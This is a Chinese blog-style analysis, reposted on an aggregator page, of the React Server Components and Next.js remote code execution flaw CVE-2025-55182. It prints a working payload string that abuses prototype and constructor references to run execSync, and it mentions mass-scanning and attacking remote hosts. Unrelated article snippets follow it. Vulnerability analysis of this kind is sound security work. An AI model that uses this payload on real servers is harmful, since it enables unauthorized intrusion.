网站建设和网站开发移动端网站如何优化

张小明 2026/1/13 8:37:37
网站建设和网站开发,移动端网站如何优化,深圳入户申请网站官网,石家庄网站制作公司目录 前置知识 漏洞分析 Part1 Part2 Part3 漏洞复现 本地复现 远程复现 其他思考 很好的语言#xff0c;使你的漏洞旋转#x1f602; 前置知识 RSC RSC#xff08;React Server Components#xff0c;React 服务器组件#xff09;是一种 React 的新型组件模型…目录前置知识漏洞分析Part1Part2Part3漏洞复现本地复现远程复现其他思考很好的语言使你的漏洞旋转前置知识RSCRSCReact Server ComponentsReact 服务器组件是一种 React 的新型组件模型由 Meta团队提出并集成到现代 React 框架如 Next.js中。它的核心目标是将部分组件的渲染工作从客户端转移到服务器端从而提升性能、减少客户端 JavaScript 包体积并增强安全性。从这个角度来看很类似古老的php和jsp不再是从后端取json回前端渲染而是后端处理后直接返回一个html界面thenable当你执行 resolve(x) 时JavaScript 引擎不会直接把 x 当作最终值而是先检查 x 是否是一个 thenable即具有 .then 方法的对象。如果是就一直递归执行下去直到没有then。Flight协议React Flight是一种基于 JavaScript 可序列化格式通常是 JSON-like 的流式文本的组件与数据传输机制主要用于 RSC 场景下在服务器和客户端之间高效传输 UI 结构和数据。一些特殊引用$Chunk 引用Promise→$1$KFormData 引用FormData→$K1$BBlob 引用Blob→$B1漏洞分析Part1RSC根据 Content-Typemultipart/form-data 或其他选择相应的解码器multipart/form-data 使用 decodeReplyFromBusboy这段代码使用 Busboy 解析 multipart 表单流含文件和字段将其转换为 React Flight 协议可消费的内部响应对象并返回一个 Promise 以获取最终解析结果用于支持 Server Actions 中的文件上传。busboy 的事件监听器收到数据修改时就会自动触发 resoveField()最终getChunk返回一个Chunk关注resolveField() 内部调用resolveModelChunk()resolveModelChunk内部调用initializeModelChunk来看initializeModelChunk实现对chunk.value进行json反序列化然后将反序列化后的值作为value传给reviveModel调用reviveModel调用parseModelString其实就是根据Flight协议去对特殊符号解引用算是某种意义上的“反序列化”Part2再来看Chunk.prototype.then的实现当status为resolved_model时调用我们熟悉的initializeModelChunk去根据Flight协议“反序列化”和Part1的流程一样不赘述Part3来对照payload看共涉及三次解析payload用的https://github.com/msanft/CVE-2025-55182注意首先要用Next-Action去指定为Server Action请求这里$1被指向了$0也就是name0的Chunk引用第一次解析{then: $1:__proto__:then, status: resolved_model, reason: -1, value: {\then\: \$B0\}, _response: {_prefix: var res process.mainModule.require(child_process).execSync(whoami,{timeout:5000}).toString().trim(); throw Object.assign(new Error(NEXT_REDIRECT), {digest:${res}});, _formData: {get: $1:constructor:constructor}}}$1:__proto__:then被解析为Chunk.prototype.then$1:constructor:constructor被解析为Function构造方法理解很直观chunk的构造方法本身是个方法所有方法的构造方法都是Function最终被解析为{then: Chunk.prototype.then, status: resolved_model, reason: -1, value: {\then\: \$B0\}, _response: {_prefix: var res process.mainModule.require(child_process).execSync(whoami,{timeout:5000}).toString().trim(); throw Object.assign(new Error(NEXT_REDIRECT), {digest:${res}});, _formData: {get: Function}}}第二次解析{then: Chunk.prototype.then, status: resolved_model, reason: -1, value: {\then\: \$B0\}, _response: {_prefix: var res process.mainModule.require(child_process).execSync(whoami,{timeout:5000}).toString().trim(); throw Object.assign(new Error(NEXT_REDIRECT), {digest:${res}});, _formData: {get: Function}}}调用Chunk.prototype.then这里重点来看$B是怎么处理的其实就是对传入的数从16进制转成10进制再与prefix拼接而传入的prefix是一段恶意代码var res process.mainModule.require(child_process).execSync(whoami,{timeout:5000}).toString().trim(); throw Object.assign(new Error(NEXT_REDIRECT), {digest:${res}});传入的_formData.get也被污染为了Function构造方法Function(var res process.mainModule.require(child_process).execSync(whoami,{timeout:5000}).toString().trim(); throw Object.assign(new Error(NEXT_REDIRECT), {digest:${res}});0)解析成一个恶意匿名函数function anonymous(){var res process.mainModule.require(child_process).execSync(whoami,{timeout:5000}).toString().trim(); throw Object.assign(new Error(NEXT_REDIRECT), {digest:${res}});0}最终整体被解析为{then: function anonymous(){var res process.mainModule.require(child_process).execSync(whoami,{timeout:5000}).toString().trim(); throw Object.assign(new Error(NEXT_REDIRECT), {digest:${res}});0}, status: fulfilled, reason: -1, value: {\then\: function anonymous(){var res process.mainModule.require(child_process).execSync(whoami,{timeout:5000}).toString().trim(); throw Object.assign(new Error(NEXT_REDIRECT), {digest:${res}});0}}, _response: {_prefix: var res process.mainModule.require(child_process).execSync(whoami,{timeout:5000}).toString().trim(); throw Object.assign(new Error(NEXT_REDIRECT), {digest:${res}});, _formData: {get: Function}}}第三次解析此时发现还有then就去执行then里的恶意匿名函数从而达成RCE漏洞复现pochttps://github.com/msanft/CVE-2025-55182本地复现npm create next-app16.0.6cd test npm run dev搭建好的首页远程复现写个批量脚本远程抓一个打一下其他思考其实对then的赋值用不用prototype/__proto__都行因为chunk.then全局没有定义自然会去找其原型类的then方法调用
版权声明:本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!

北京运营推广网站建设中国国家城乡建设部网站

RS485通信与LCD显示的工业级联设计:从原理到实战在工厂车间、配电房或环境监测站里,你是否见过这样一种设备——它没有复杂的图形界面,却能在嘈杂的电磁环境中稳定运行数月;它通过一根双绞线接收远方的数据指令,同时本…

张小明 2026/1/10 5:21:51 网站建设

上海响应式网站建设费用wordpress会员等级查看文章

从 YOLOv1 到 YOLOv10:十年演进与视觉效率革命 在智能摄像头几乎无处不在的今天,你有没有想过——为什么一辆自动驾驶汽车能在毫秒内识别出突然冲出的行人?为什么工厂流水线上的机器能以每分钟数百件的速度精准检测微小缺陷?答案背…

张小明 2026/1/10 12:51:39 网站建设

ai人工智能写作网站网站建设平台皆往乐云践新专家

你是否曾经因为显卡显存不足而无法运行专业视频增强工具?🤔 Seed-VR2的突破性技术彻底改变了这一现状,让普通创作者也能在消费级硬件上享受专业级画质处理体验。 【免费下载链接】SeedVR2-7B 项目地址: https://ai.gitcode.com/hf_mirrors…

张小明 2026/1/10 21:58:41 网站建设

网站必须做可信认证吗湖南大型网站建设公司

系统程序文件列表项目功能:用户,影院信息,电影类型,电影信息开题报告内容Springboot影美美电影购票系统开题报告一、研究背景与意义研究背景随着互联网技术的飞速发展和人们生活水平的日益提高,电影已成为大众休闲娱乐的重要选择之一。然而,传…

张小明 2026/1/10 12:53:19 网站建设

网站建设需要哪些企业资料linux建设php网站

在当今高度竞争的物流与电商行业中,自动供包环线分拣机作为提升分拣效率和准确率的关键设备,其重要性不言而喻。为了帮助用户在众多品牌中做出明智的选择,我们基于市场主流评测数据和技术白皮书,对市场上最具代表性的几款自动供包…

张小明 2026/1/10 15:12:18 网站建设

淄博网站建设乐达推广谷歌浏览器搜索引擎入口

PyCharm远程连接Linux服务器运行DDColor项目 在处理老照片修复这类AI图像任务时,很多人会遇到一个尴尬的局面:本地笔记本跑不动大模型,而远程服务器又不方便调试代码。更别提还要配置复杂的依赖环境、管理GPU资源、处理文件传输……有没有一种…

张小明 2026/1/11 1:36:19 网站建设